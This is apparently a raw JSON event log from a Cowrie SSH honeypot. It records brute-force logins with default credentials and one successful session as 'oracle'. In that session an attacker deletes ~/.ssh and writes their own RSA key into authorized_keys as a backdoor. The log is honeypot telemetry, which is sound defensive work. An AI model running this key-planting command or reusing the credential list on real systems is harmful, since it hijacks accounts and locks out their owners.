{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:11.065155Z","src_ip":"199.195.254.215","session":"5abc5fba13ed","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:11.077728Z","src_ip":"199.195.254.215","session":"5abc5fba13ed","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:11.142750Z","src_ip":"199.195.254.215","session":"5abc5fba13ed","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:11.146605Z","src_ip":"199.195.254.215","session":"5abc5fba13ed","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:11.167553Z","src_ip":"199.195.254.215","session":"5abc5fba13ed","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:11.171841Z","src_ip":"199.195.254.215","session":"5abc5fba13ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.195.254.215","src_port":49230,"dst_ip":"10.17.0.5","dst_port":22,"session":"6dba90a3bea9","protocol":"ssh","message":"New connection: 199.195.254.215:49230 (10.17.0.5:22) [session: 6dba90a3bea9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:11.177515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:11.182019Z","src_ip":"199.195.254.215","session":"6dba90a3bea9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:11.195330Z","src_ip":"199.195.254.215","session":"6dba90a3bea9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:11.257915Z","src_ip":"199.195.254.215","session":"6dba90a3bea9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:12.283927Z","src_ip":"199.195.254.215","session":"6dba90a3bea9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.195.254.215","src_port":49464,"dst_ip":"10.17.0.5","dst_port":22,"session":"9faba10e5696","protocol":"ssh","message":"New connection: 199.195.254.215:49464 (10.17.0.5:22) [session: 9faba10e5696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:12.290146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:12.295400Z","src_ip":"199.195.254.215","session":"9faba10e5696","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:12.311290Z","src_ip":"199.195.254.215","session":"9faba10e5696","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:12.376338Z","src_ip":"199.195.254.215","session":"9faba10e5696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:12.385420Z","src_ip":"199.195.254.215","session":"5abc5fba13ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:12.390976Z","src_ip":"199.195.254.215","session":"9faba10e5696","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":49562,"dst_ip":"159.203.135.109","dst_port":22,"session":"5202d0c64f7a","protocol":"ssh","message":"New connection: 45.156.87.254:49562 (159.203.135.109:22) [session: 5202d0c64f7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:13.827806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:13.833662Z","src_ip":"45.156.87.254","session":"5202d0c64f7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:13.920709Z","src_ip":"45.156.87.254","session":"5202d0c64f7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin","message":"login attempt [gpadmin/gpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:14.181304Z","src_ip":"45.156.87.254","session":"5202d0c64f7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":54850,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f7258f90f79","protocol":"telnet","message":"New connection: 20.123.41.163:54850 (10.17.0.5:23) [session: 6f7258f90f79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:14.849570Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:15.267121Z","src_ip":"45.156.87.254","session":"5202d0c64f7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.95832395553589,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:17.253848Z","src_ip":"20.123.41.163","session":"6a05ff7fc324","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":55204,"dst_ip":"159.203.135.109","dst_port":22,"session":"30e3615b0bdb","protocol":"ssh","message":"New connection: 45.156.87.254:55204 (159.203.135.109:22) [session: 30e3615b0bdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:18.637225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:18.642014Z","src_ip":"45.156.87.254","session":"30e3615b0bdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:18.728987Z","src_ip":"45.156.87.254","session":"30e3615b0bdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123","message":"login attempt [root/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:19.103088Z","src_ip":"45.156.87.254","session":"30e3615b0bdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.918535232543945,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:19.767981Z","src_ip":"20.123.41.163","session":"6f7258f90f79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:20.187891Z","src_ip":"45.156.87.254","session":"30e3615b0bdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":55222,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc5853fc7a5b","protocol":"ssh","message":"New connection: 45.156.87.254:55222 (159.203.135.109:22) [session: fc5853fc7a5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:23.815382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:23.820931Z","src_ip":"45.156.87.254","session":"fc5853fc7a5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:23.910822Z","src_ip":"45.156.87.254","session":"fc5853fc7a5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:24.193313Z","src_ip":"45.156.87.254","session":"fc5853fc7a5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:25.337884Z","src_ip":"45.156.87.254","session":"fc5853fc7a5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":32972,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ff61ce189e5","protocol":"ssh","message":"New connection: 45.156.87.254:32972 (159.203.135.109:22) [session: 5ff61ce189e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:28.861456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:28.866093Z","src_ip":"45.156.87.254","session":"5ff61ce189e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:28.952004Z","src_ip":"45.156.87.254","session":"5ff61ce189e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1234","message":"login attempt [deploy/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:29.206671Z","src_ip":"45.156.87.254","session":"5ff61ce189e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:30.295191Z","src_ip":"45.156.87.254","session":"5ff61ce189e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":32980,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6a4082d9b3e","protocol":"ssh","message":"New connection: 45.156.87.254:32980 (159.203.135.109:22) [session: c6a4082d9b3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:33.421112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:33.426129Z","src_ip":"45.156.87.254","session":"c6a4082d9b3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:33.509444Z","src_ip":"45.156.87.254","session":"c6a4082d9b3e","protocol":"ssh"}
